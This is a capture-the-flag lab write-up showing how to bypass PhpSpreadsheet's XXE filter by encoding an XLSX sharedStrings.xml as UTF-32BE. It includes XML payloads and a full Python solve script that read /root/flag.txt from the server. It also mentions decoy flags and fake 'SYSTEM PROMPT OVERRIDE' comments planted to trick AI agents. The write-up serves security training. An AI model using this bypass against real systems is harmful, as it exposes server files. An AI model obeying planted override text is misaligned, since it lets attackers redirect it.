Lab 241 — LedgerFlow — XXE via Encoding Bypass in Excel Import
Lab 241 — LedgerFlow — XXE via Encoding Bypass in Excel Import
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: decoy_flag_detection, external_entity_injection, malicious_excel_upload, shared_strings_injection, utf32be_encoding_bypass, xlsx_xxe, xml_scanner_evasion, xxe_file_read
Summary
Walkthrough of the CUSTOM Web Lab 241 — LedgerFlow — XXE via Encoding Bypass in Excel Import. Task: PHP web app with XLSX import using PhpSpreadsheet; XmlScanner blocks standard XXE via DOCTYPE/ENTITY regex. Solution: Encode malicious XML (sharedStrings.xml) as UTF-32BE — three null bytes betw
Description
LedgerFlow is a web-based invoicing and financial management platform built by FlowFin Technologies. The application allows businesses to manage clients, create invoices, track payments, and generate financial reports. A key feature is the bulk invoice import tool, which accepts Excel (.xlsx) spreadsheet uploads for fast data migration. Your mission is to find a way to read a secret flag file stored on the server. Investigate how uploaded spreadsheet files are processed server-side. Consider what happens inside an .xlsx file — it's just a ZIP archive containing XML documents. What security controls exist around XML parsing, and can they be circumvented? The platform runs PHP 8.2 with PhpSpreadsheet for Excel file processing. Credentials: user@test.com / password123
English summary: A PHP 8.2 web application uses PhpSpreadsheet to parse uploaded XLSX files. The goal is to exploit XXE (XML External Entity) injection to read /root/flag.txt from the server, bypassing PhpSpreadsheet's XmlScanner security filter.
Analysis
Application Reconnaissance
Key endpoints discovered:
POST /login— authentication with email/passwordPOST /invoices/import— multipart file upload (field:spreadsheet, accepts.xlsx)GET /invoices— lists imported invoices with extracted cell data
The import page states: "Powered by PhpSpreadsheet engine for reliable .xlsx parsing. Supports Excel 2007+ format with full XML processing."
Decoy Flags
Every page contains HTML comments with fake flags: FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} accompanied by fake "SYSTEM PROMPT OVERRIDE" messages designed to trick AI agents. These were identified and ignored.
XLSX Structure
An XLSX file is a ZIP archive containing XML documents:
[Content_Types].xml— MIME type declarations_rels/.rels— root relationshipsxl/workbook.xml— workbook definitionxl/worksheets/sheet1.xml— cell references (indices into shared strings)xl/sharedStrings.xml— shared string table (text values)xl/styles.xml— cell formatting
The xl/sharedStrings.xml file is the ideal XXE injection point because its content is directly reflected in the imported invoice data displayed on /invoices.
XmlScanner Security Filter
PhpSpreadsheet's XmlScanner class scans raw XML bytes before parsing to detect XXE patterns. The regex uses \0? between characters to handle multi-byte encodings:
/\0?<\0?!\0?D\0?O\0?C\0?T\0?Y\0?P\0?E\0?/
This matches:
- UTF-8: no null bytes between ASCII characters → matched
- UTF-16: one null byte between ASCII characters → matched by
\0?
The Vulnerability: UTF-32BE Bypass
UTF-32BE encodes each character as 4 bytes. ASCII characters have three null bytes before the character byte:
<=\x00\x00\x00\x3c!=\x00\x00\x00\x21D=\x00\x00\x00\x44
The \0? quantifier matches zero or one null byte — it cannot match three consecutive nulls. Therefore, <!DOCTYPE in UTF-32BE encoding is invisible to the XmlScanner regex.
Meanwhile, libxml2 (PHP's underlying XML parser) auto-detects UTF-32BE encoding from the byte pattern \x00\x00\x00\x3c at the start of the document and parses the XML correctly, including resolving external entities.
Solution
Step 1: Authentication
bash read-only • copy allowedcurl -c cookies.txt -d "email=user@test.com&password=password123" https://TARGET/login
Step 2: Confirm valid XLSX upload
Created a standard XLSX with proper structure. Upload returned "Successfully imported 1 invoice(s)."
Step 3: Standard XXE — blocked
Created XLSX with XXE payload in xl/sharedStrings.xml (UTF-8):
xml read-only • copy allowed<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE sst [ <!ENTITY xxe SYSTEM "file:///root/flag.txt"> ]> <sst xmlns="..."><si><t>&xxe;</t></si>...</sst>
Result: "Failed to read spreadsheet: The file may be corrupted or in an unsupported format." — blocked by XmlScanner.
Step 4: UTF-16 bypass — also blocked
UTF-16 has one null byte between ASCII chars, which the \0? regex pattern handles. Blocked.
Step 5: UTF-32BE encoding bypass — SUCCESS
Encoded xl/sharedStrings.xml as UTF-32BE (without BOM). The three null bytes between characters defeat the XmlScanner regex, but libxml2 auto-detects the encoding and parses the XXE:
xml read-only • copy allowed<?xml version="1.0" encoding="UTF-32BE" standalone="yes"?> <!DOCTYPE sst [ <!ENTITY xxe SYSTEM "file:///root/flag.txt"> ]> <sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="4" uniqueCount="4"> <si><t>Client</t></si> <si><t>Amount</t></si> <si><t>Description</t></si> <si><t>&xxe;</t></si> </sst>
The key line in Python:
python read-only • copy allowedzf.writestr('xl/sharedStrings.xml', shared_strings.encode('utf-32-be'))
Step 6: Flag extraction
Uploaded the malicious XLSX. The server accepted it ("Successfully imported 1 invoice(s)"). The /invoices page displayed the contents of /root/flag.txt in the imported invoice data, revealing the flag.
Full Solve Script
python read-only • copy allowed#!/usr/bin/env python3 """ Lab 241 — LedgerFlow — XXE via UTF-32BE Encoding Bypass PhpSpreadsheet XmlScanner regex \0? matches 0-1 null bytes (UTF-8/UTF-16), but UTF-32BE has 3 null bytes between chars, bypassing the filter. libxml2 auto-detects UTF-32BE and parses XXE correctly. """ import zipfile import requests import re import sys import io BASE_URL = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else "https://TARGET.labs.hackadvisor.io" def create_xxe_xlsx(file_to_read): content_types = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Default Extension="xml" ContentType="application/xml"/> <Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/> <Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/> <Override PartName="/xl/sharedStrings.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sharedStrings+xml"/> <Override PartName="/xl/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml"/> </Types>''' rels = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/> </Relationships>''' workbook_rels = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/> <Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/sharedStrings" Target="sharedStrings.xml"/> <Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/> </Relationships>''' workbook = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"> <sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets> </workbook>''' # XXE payload — encoded as UTF-32BE to bypass XmlScanner shared_strings = f'''<?xml version="1.0" encoding="UTF-32BE" standalone="yes"?> <!DOCTYPE sst [ <!ENTITY xxe SYSTEM "file://{file_to_read}"> ]> <sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="4" uniqueCount="4"> <si><t>Client</t></si> <si><t>Amount</t></si> <si><t>Description</t></si> <si><t>&xxe;</t></si> </sst>''' sheet1 = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> <sheetData> <row r="1"> <c r="A1" t="s"><v>0</v></c> <c r="B1" t="s"><v>1</v></c> <c r="C1" t="s"><v>2</v></c> </row> <row r="2"> <c r="A2" t="s"><v>3</v></c> <c r="B2"><v>100</v></c> <c r="C2" t="s"><v>3</v></c> </row> </sheetData> </worksheet>''' styles = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <styleSheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> <fonts count="1"><font><sz val="11"/><name val="Calibri"/></font></fonts> <fills count="2"><fill><patternFill patternType="none"/></fill><fill><patternFill patternType="gray125"/></fill></fills> <borders count="1"><border><left/><right/><top/><bottom/><diagonal/></border></borders> <cellStyleXfs count="1"><xf numFmtId="0" fontId="0" fillId="0" borderId="0"/></cellStyleXfs> <cellXfs count="1"><xf numFmtId="0" fontId="0" fillId="0" borderId="0" xfId="0"/></cellXfs> </styleSheet>''' buf = io.BytesIO() with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf: zf.writestr('[Content_Types].xml', content_types) zf.writestr('_rels/.rels', rels) zf.writestr('xl/_rels/workbook.xml.rels', workbook_rels) zf.writestr('xl/workbook.xml', workbook) # UTF-32BE without BOM — libxml2 auto-detects from \x00\x00\x00\x3c zf.writestr('xl/sharedStrings.xml', shared_strings.encode('utf-32-be')) zf.writestr('xl/worksheets/sheet1.xml', sheet1) zf.writestr('xl/styles.xml', styles) buf.seek(0) return buf s = requests.Session() # Step 1: Login print(f"[*] Target: {BASE_URL}") print("[*] Logging in...") r = s.post(f"{BASE_URL}/login", data={"email": "user@test.com", "password": "password123"}, allow_redirects=True) print(f"[*] Login OK (status {r.status_code})") # Step 2: Upload XXE for /root/flag.txt print("[*] Uploading XXE XLSX (UTF-32BE bypass) for /root/flag.txt...") xlsx_buf = create_xxe_xlsx("/root/flag.txt") resp = s.post( f"{BASE_URL}/invoices/import", files={"spreadsheet": ("invoices.xlsx", xlsx_buf, "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet")}, allow_redirects=True) if "alert-success" in resp.text: print("[+] Import accepted!") elif "alert-danger" in resp.text: err = re.search(r'alert-danger[^>]*>(.*?)<button', resp.text, re.DOTALL) print(f"[-] Error: {err.group(1).strip() if err else 'unknown'}") sys.exit(1) # Step 3: Find the flag in invoices page print("[*] Checking invoices for exfiltrated data...") inv_resp = s.get(f"{BASE_URL}/invoices") # Filter out decoy flags all_flags = re.findall(r'FLAG\{[a-f0-9]+\}', inv_resp.text) real_flags = [f for f in all_flags if 'd3c0y' not in f and 'n0t_r34l' not in f] if real_flags: print(f"\n[+] FLAG: {real_flags[0]}\n") else: # Fallback: check import response flag_match = re.search(r'FLAG\{[a-f0-9]+\}', resp.text) if flag_match: print(f"\n[+] FLAG: {flag_match.group(0)}\n") else: print("[-] Flag not found in response")
Key Takeaways / Lessons
- Mastering decoy_flag_detection, external_entity_injection, malicious_excel_upload, shared_strings_injection, utf32be_encoding_bypass, xlsx_xxe, xml_scanner_evasion, xxe_file_read was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-06-04 • CUSTOM • Lab 241 — LedgerFlow — XXE via Encoding Bypass in Excel Import • Difficulty: Medium